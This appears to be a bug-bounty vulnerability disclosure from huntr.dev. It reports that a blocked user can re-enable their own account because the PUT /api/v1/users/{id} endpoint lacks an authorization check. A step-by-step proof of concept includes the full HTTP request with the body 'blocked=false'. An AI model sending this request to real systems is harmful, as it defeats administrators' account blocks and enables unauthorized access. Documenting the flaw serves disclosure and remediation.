Lucene search

K
huntrBauh0lz9689052C-C1D7-4AAE-AA08-346C9B6E04ED
HistoryJan 13, 2023 - 6:05 a.m.

A User Can Unblock Themself

2023-01-1306:05:58
bauh0lz
www.huntr.dev
10
put request
user authentication
user unblock .

EPSS

0.001

Percentile

22.1%

Description

PUT /api/v1/users/{id} API doesn’t properly check the authorizaion.

Proof of Concept

  1. [admin] Enable user registration functionality.
  2. [user] Register new user and login as them.
  3. [user] Create OAuth client.
  4. [admin] Block the new user on admin panel.
  5. [user] Send the following request:
PUT /api/v1/users/{id} HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/vnd.api+json
Authorization: Bearer {JWT}
Cache-Control: no-cache
Host: localhost:8888
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 13

blocked=false
  1. [user] Login successfully.

EPSS

0.001

Percentile

22.1%

Related for 9689052C-C1D7-4AAE-AA08-346C9B6E04ED